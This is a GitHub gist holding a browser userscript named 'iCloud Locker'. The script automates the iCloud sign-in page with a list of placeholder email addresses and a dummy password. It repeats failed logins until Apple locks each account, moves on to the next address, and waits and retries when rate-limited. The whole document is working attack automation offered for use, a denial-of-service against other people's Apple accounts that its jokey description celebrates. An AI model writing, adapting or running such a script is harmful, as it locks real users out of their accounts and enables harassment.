Skip to content

Instantly share code, notes, and snippets.

@schnabear
Created September 16, 2025 13:02
Show Gist options
  • Select an option

  • Save schnabear/b5b18b954ab8e77e171e078607361594 to your computer and use it in GitHub Desktop.

Select an option

Save schnabear/b5b18b954ab8e77e171e078607361594 to your computer and use it in GitHub Desktop.
iCloud Locker
// ==UserScript==
// @name iCloud Locker
// @namespace http://schnabear.github.io/
// @version 2025-04-14
// @description iSee iType iLock iLMAO
// @author schnabear
// @require https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js
// @run-at document-end
// @match *://www.icloud.com/
// @match *://idmsa.apple.com/*
// @grant GM_log
// ==/UserScript==
// https://github.com/greasemonkey/greasemonkey/issues/2574
// https://stackoverflow.com/a/77007603
// https://javascriptbit.com/transfer-data-between-parent-window-and-iframe-postmessage-api/
(function() {
'use strict';
const ICLOUD_EMAIL = [
"smaple001@icloud.com",
"sample002@icloud.com",
"sample003@icloud.com",
"sample004@icloud.com",
"sample005@icloud.com",
];
const ICLOUD_PASSWORD = "DUMMY";
const IS_FRAME = window.location.hostname == "idmsa.apple.com";
if (!IS_FRAME) {
let mailIndex = 0;
let lastLockTime = null;
window.addEventListener('message', function(event) {
if (/GMT/.test(event.data)) {
mailIndex = (mailIndex + 1) % ICLOUD_EMAIL.length;
lastLockTime = event.data;
}
});
setInterval(() => {
let iframe = document.querySelector("iframe");
iframe.contentWindow.postMessage(mailIndex, "*");
}, 1000);
setInterval(() => {
console.log("LLT: " + lastLockTime);
}, 10000);
}
const locker = () => {
if (!IS_FRAME) {
const landingSignInButton = $(".sign-in-button");
landingSignInButton.click();
}
if (IS_FRAME) {
const alertHeader = $("#alertInfo");
const goBackLockButton = $("[id^=go-back-locked-account]");
if (alertHeader.length || goBackLockButton.length) {
console.log(alertHeader[0].innerText);
window.parent.postMessage(new Date().toString(), "*");
goBackLockButton[0].dispatchEvent(new Event('click', {bubbles: true}));
window.location.reload();
return;
}
const nameField = $("#account_name_text_field");
const passwordField = $("#password_text_field");
const signInButton = $("#sign-in");
window.addEventListener('message', function(event) {
if (/^[0-9]+$/.test(event.data)) {
console.log(ICLOUD_EMAIL[event.data]);
if (nameField.val() == "") {
nameField.trigger("focus");
nameField.val(ICLOUD_EMAIL[event.data]);
// nameField.trigger("change");
// nameField.trigger("input");
// nameField.trigger("submit");
// keydown, keypress, keyup
// nameField[0].dispatchEvent(new KeyboardEvent('keyup', {key: "e", keyCode: 69, code: "KeyE", which: 69, bubbles: true}));
// nameField[0].dispatchEvent(new Event('change', {bubbles: true}));
nameField[0].dispatchEvent(new Event('input', {bubbles: true}));
}
}
});
if (passwordField.val() == "") {
passwordField.trigger("focus");
passwordField.val(ICLOUD_PASSWORD);
passwordField[0].dispatchEvent(new Event('input', {bubbles: true}));
}
signInButton[0].dispatchEvent(new Event('click', {bubbles: true}));
if ($("#errMsg").text().trim() == "Failed to verify your identity. Try again.") {
console.log("Too many requests blocked!");
clearInterval(loop);
setTimeout(() => {
console.log("Re-executing!");
loop = setInterval(locker, 4000);
}, 30000);
// await (new Promise(r => setTimeout(r, 10000)));
}
console.log(signInButton);
console.log(nameField);
console.log(passwordField);
}
}
let loop = setInterval(locker, 4000);
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment